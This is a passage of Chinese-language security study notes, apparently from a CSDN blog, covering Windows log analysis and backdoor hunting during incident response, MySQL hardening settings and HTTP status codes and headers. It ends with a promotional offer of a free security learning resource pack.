    6. 登录类型10:远程交互(RemoteInteractive)、当你通过终端服务、远程桌面或远程协助访问计算机时,Windows将记为类型10。
3. 日志审核的首要条件:日志的记录能力、日志的保存能力。
4. 系统日志: 
  1. 记录设备驱动状态,系统进程、服务状态改变,以及补丁安装情况。
  2. 可能能够获得被攻击的时间以及方式:某时刻系统重启、某时刻某系统服务出错并重启。
  3. 某时刻系统弹出对话框。
5. 应用程序日志 
  1. 记录用户应用程序的活动情况,可能能够获得被攻击的时间以及方式:某时刻防火墙被关闭、某时刻杀毒软件自动防护功能被禁止、某时刻杀毒软件警告发现病毒、某时刻安装或删除了软件。
6. 安全性日志 
  1. 激素系统使用的登录进程,特权使用、安全审核以及审核结果。可能能够获得被攻击的时间以及方法:某时刻某用户登录系统成功、某时刻某用户尝试登录系统失败、某时刻某用户更改了审核策略。
7. web日志 
  1. iis日志在`%systemroot%\system32\logfiles`下相应子目录中。
  2. 服务器状态码:请求成功:200-299、客户端错误:400-499、服务器端错误:500-599(并非攻击失败)。
  1. 恢复系统以及应用
    1. 复查确认后门处理完毕:Pslist lceSword。判断系统存在漏洞
    1. 入侵手法判断:根据日志重现攻击手段;依照流行程度判断。
    2. 服务内容判断:参照安全公告,检查本机服务。
    3. 扫描判断:微软工具MBSA基准扫描。
2. 修补系统存在漏洞,并加固系统。 
  1. 临时解决方案:使用防火墙策略阻拦指定协议或端口特殊关键字请求、使用防火墙阻拦指定进程、暂时停止使用危险应用。
  2. 根本解决方案:安装安全补丁、更换安全的应用系统、暂时停止使用文件应用。
3. 启动所有应用,测试是否正常运行。
3.应急响应
  1. 查找后门
1. Autoruns:用autoruns可列举城建的启动条目,在启动条目中,应为大部分可以程序自身不会含有过多的描述信息,因此通过检查Publisher和Description两条项目可排除一些较简单的后门程序或恶意代码。
2. 在后门程序运行的过程中,后门程序除正常的访问一些敏感文件、注册表项等行为外,还可以会出现创建模块等异常行为,而这些额外创建出来的文件会辅助恶意程序的主进程工作,防止主进程被用户或杀毒软件终端,因此,可通过监控工具来查看可以程序的行为。
3. Filemon:filemon会以进程为线索,列举该进程以何种方式对什么文件进行什么样的访问,以及访问是否成功。
4. 如果需要对特定的进程进行监控或过滤,可点击快捷菜单上的漏洞图标,填写指定的进程名来进行结果过滤。
5. Regmon:regmon与filemon使用方法相同,不过regmon是用户监控进程对注册表的操作行为。
6. IceSword:是一款集合了较多使用功能的安全检测工具,利用lceSword的进程功能,可查看系统中是否存在隐藏进程,若存在,则该进程会被自动标注为红色。
  1. 全面分析日志
1. 若系统配置了审计,则会在事件查看器的安全性日志中查看到某些管理账号的登录、文件访问等行为;
2. 用户目录 
  1. 用户的桌面,可能放有一些临时文件或下载的文件`c:\Documents and Settings\cracker\桌面`。
  2. 用户的网络访问情况`c:\Documents and Settings\cracker\Cookies`。
  3. 用户最近访问过那些文件或文件夹`c:\Documents and Settings\cracker\Recent`。
  4. 用户上网的历史记录`c:\Documents and Settings\cracker\Local Settings\History`。
  5. 一些程序安装、解压缩等操作可能会在该目录产生临时文件`c:\Documents and Settings\cracker\Local Settings\Temp`。
  6. 上网时产生的临时文件,不但会存储网页页面内容,还可能以临时文件的方式存储一些下载的文件`c:\Documents and Settings\cracker\Local Settings\Temporary Internet Files`。

MySQL

1.基本安全
  1. mysql应该使用非管理员账号运行,以普通账户安全运行mysqld,在mysql my.cnf配置文件中应配置user=mysql。

  2. 修改密码set password for 'root'@'localhost' = password('123.com')

  3. 为了跟好的保护root用户我们将其改名update user set user='another_username' where user='root';

  4. 设置密码复杂度

    plugin-load=validate_password.so
    validate_password_length=14
    validate_password_mixed_case_count=1
    validate_password_number_count=1
    validate_password_special_char_count=1
    validate_password_policy_MEDIUM

  5. 配置数据库密码的过期时间,用户名密码过期时间应设置小于等于90天set global default_password_lifetime=90

  6. 降低用户的数据库权限,只有管理员有完整的数据库访问权限

1. mysql数据库中mysql.user和mysql.db表列出了可以授权给MySQL用户各种权限。常见,这些权限不应该对每个MySQL用户都可用,而且通常只保留给管理员使用。

2. 列举审计程序结果统计的非管理员用户,对于每个非管理用户,使用revoke语句来适当删除权限。

3. mysql.user表中的权限列有:
    
            file_priv					# 表示是否允许用户读取数据库所在主机的本地文件。
    process						# 表示是否允许用户查询所有用户的命令执行信息。
    super_priv					# 表示用户是否有设置全局变量、管理员调用等高级别权限。
    shutdown_priv				# 表示用户是否可以关闭数据库;
    Create_user_priv			# 表示用户是否可以创建或删除其他用户;
    grant_priv					# 表示用户是否可以修改其他用户的权限。
    

4. 应确保只有数据库管理员才有上述权限,使用如下sql语句查看拥有各个权限的数据库账户`select user,host from mysql.user where File_priv='Y';`。
  1. 配置mysql日志便于审计
1. mysql因该配置日志功能,其中包含错误日志、二进制日志、置慢查询日志、通用查询日志、更新日志。
2. 编辑my.cnf文件,设置`log_error=/home/mysql.err、log_bin=mysql-bin、slow_query_log=1、general_log=1、log_slave_updates=1`。

HTTP

1.状态码
  1. 200 OK:表示从客户端发来的请求在服务器端被正常处理了。
  2. 301 MOVED Permanently:永久性重定向,表示请求的资源已被分配了新的URL,以后应使用资源现在所指的URL。
  3. 302 Found:临时性重定向,表示请求的资源已被分配了新的URL,希望用户能使用新的URL访问。
  4. 304 Not Modified:客户端发送附带条件的请求时,服务器端允许请求访问资源,但未满足条件的情况。304状态码返回时,不包含任何响应的主体部分。
  5. 400 Bad Request:表示请求报文中存在语法错误,当错误发生时,需修改请求的内容后再次发送请求。
  6. 401 Unauthorized:该状态码表示发送的请求需要有通过HTTP认证的认证信息。若之前已进行过1次请求,则表示用户认证失败。
  7. 403 Forbidden:表明对请求资源的访问被服务器拒绝了。
  8. 404 Not Found:表明服务器上无法找到请求的资源。
  9. 500 Internal Server Error:表明服务器端在执行请求时发生了错误,也有可能时web应用存在的bug或某些临时的故障。
  10. 503 Service Unavailable:表明服务器暂时处于超负载或正在进行停机维修,现在服务处理请求。
2.HTTP请求
  1. HTTP首部字段类型
1. 通用首部字段:请求报文和响应报文两方都会使用的首部。
2. 请求首部字段:从客户端向服务器端发送请求报文时使用的首部,补充了请求的附加内容、客户端信息、相应内容相关优先级等信息。
3. 响应首部字段:从服务器端向客户端返回响应报文时使用的首部,补充了响应的附加内容,也会要求客户端附加额外的内容信息。
4. 实体首部字段:针对请求报文和响应报文的实体部分使用的首部,补充了资源内容更新时间等与实体有关的信息。
  1. 通用首部字段

    Cache-Control # 控制缓存的行为
    Connection # 逐跳首部、连接的管理
    Date # 创建报文的日期时间
    Pragma # 报文指令
    Trailer # 报文末端的首部一览
    Transfer-Encoding # 指定报文主体的传输编码方式
    Upgrade # 升级为其他协议
    Via # 代理服务器的相关信息
    Waming # 错误通知

  2. 请求首部字段

    Accept # 用户代理可处理的媒体类型
    Accept-Charset # 优先的字符集
    Accept-Encoding # 优先的内容编码
    Accept-Language # 优先的语言
    Authorization # web认证信息
    Expect # 期待服务器的特定行为
    From # 用户的电子邮件地址
    Host # 请求资源所在的服务器
    If-Match # 比较试题标记
    If-Modified-Since # 比较资源的更新时间
    If-Range # 资源末更新时发送实体Byte的范围请求
    Range # 实体的字节范围请求
    Max-Forwards # 最大传输逐跳数
    Referer # 对请求中URL的原始获取方
    User-Agent # HTTP客户端程序的信息

  3. 响应首部字段

    Accept-Ranges # 是否接受字节范围请求
    Age # 推算资源创建经过时间
    ETag # 资源的匹配信息
    Location # 今客户端重定向至指定URL
    Proxy-Authenticate # 代理服务器对客户端的认证信息
    Retry-After # 对再次发起请求的时机要求
    Server # HTTP服务器的安装信息
    Vary # 代理服务器缓存的管理信息
    WWW-Authenticate # 服务器对客户端的认证信息

  4. 实体首部字段

    Allow # 资源可支持的HTTP方法
    Content-Encoding # 实体主体适用的编码方式
    Content-Language # 实体主体的自然语言
    Content-Length # 实体主体的大小
    Content-Location # 替代对应资源的URL
    Content-MD5 # 实体主体的报文摘要
    Content-Range # 实体主体的位置范围
    Content-Type # 实体主体的媒体类型
    Expires # 实体主体过期的日期时间
    Last-Modified # 资源的最后修改日期时间

学习计划安排


我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

如果你对网络安全入门感兴趣,那么你需要的话可以

点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值